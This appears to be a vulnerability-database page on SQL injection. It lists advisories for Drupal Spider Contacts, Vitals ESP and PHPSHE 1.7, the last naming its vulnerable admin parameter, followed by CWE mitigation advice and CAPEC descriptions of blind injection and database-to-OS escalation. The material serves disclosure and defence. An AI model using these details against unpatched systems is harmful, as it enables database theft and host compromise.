    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-06-15T14:59:00Z",
    "severity": "MODERATE"
  },
  "details": "SQL injection vulnerability in the Spider Contacts module for Drupal allows remote authenticated users with the \"access Spider Contacts category administration\" permission to execute arbitrary SQL commands via unspecified vectors.",
  "id": "GHSA-3672-p885-v7rv",
  "modified": "2022-05-17T04:12:09Z",
  "published": "2022-05-17T04:12:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4348"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/node/2437973"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/04/25/6"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/72805"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3673-W8F8-X9Q3

Vulnerability from github – Published: 2025-12-08 09:30 – Updated: 2025-12-08 09:30

Details

Vitals ESP developed by Galaxy Software Services has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-14255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-08T08:15:52Z",
    "severity": "HIGH"
  },
  "details": "Vitals ESP developed by Galaxy Software Services has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents.",
  "id": "GHSA-3673-w8f8-x9q3",
  "modified": "2025-12-08T09:30:17Z",
  "published": "2025-12-08T09:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14255"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10543-380bd-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10542-4c682-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3679-W9PG-J7J7

Vulnerability from github – Published: 2022-05-14 01:54 – Updated: 2022-05-14 01:54

Details

An issue was discovered in PHPSHE 1.7. SQL injection exists via the admin.php?mod=user&act=del user_id[] parameter.

Severity

9.8 (Critical)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2018-18486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-18T21:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in PHPSHE 1.7. SQL injection exists via the admin.php?mod=user\u0026act=del user_id[] parameter.",
  "id": "GHSA-3679-w9pg-j7j7",
  "modified": "2022-05-14T01:54:15Z",
  "published": "2022-05-14T01:54:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18486"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/koyshe/phpshe/issues/INPIT"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Mitigation MIT-27

Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Mitigation MIT-17

Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Mitigation MIT-15

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-28

Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.

Mitigation MIT-5

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Mitigation MIT-21

Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-39

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Mitigation MIT-29

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.

Mitigation MIT-16

Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

CAPEC-110: SQL Injection through SOAP Parameter Tampering

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

CAPEC-470: Expanding Control over the Operating System from the Database

An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.

CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.

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